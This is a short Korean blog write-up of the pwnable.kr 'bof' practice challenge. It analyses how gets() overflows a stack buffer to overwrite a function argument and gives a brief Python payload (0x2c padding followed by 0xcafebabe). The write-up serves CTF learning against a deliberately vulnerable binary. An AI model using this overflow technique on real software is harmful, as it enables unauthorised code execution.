문제
Nana told me that buffer overflow is one of the most common software vulnerability.
Is that true?
Download : http://pwnable.kr/bin/bof
Download : http://pwnable.kr/bin/bof.c
Running at : nc pwnable.kr 9000
분석
<bof.c 의 내용>
1. key는 함수 func의 첫번째 전달인자로, [ebp + 0x8]에 위치한다.
2. gets로 입력을 한번 받은 뒤
2. 최초로 0xdeadbeef가 key의 값으로 전달되지만 gets(overflowme)의 과정에서 [ebp + 0x8]을 덮을 수 있다.
+) gdb를 통해 알아보니 overflowme와 ebp는 0x2c만큼 떨어져 있었다.
payload = ''
payload += 'a' * 0x2c
payload += 'bbbb' # sfp
payload += 'cccc' # ret addr
payload += p32(0xcafebabe)
실행결과
'pwnable.kr' 카테고리의 다른 글
[Toddler's Bottle] random writeup (0) | 2018.09.15 |
---|---|
[Toddler's Bottle] passcode writeup (0) | 2018.09.15 |
[Toddler's Bottle] flag writeup (0) | 2018.09.15 |
[Toddler's Bottle] collision writeup (2) | 2018.09.14 |
[Toddler's Bottle] fd writeup (1) | 2018.09.14 |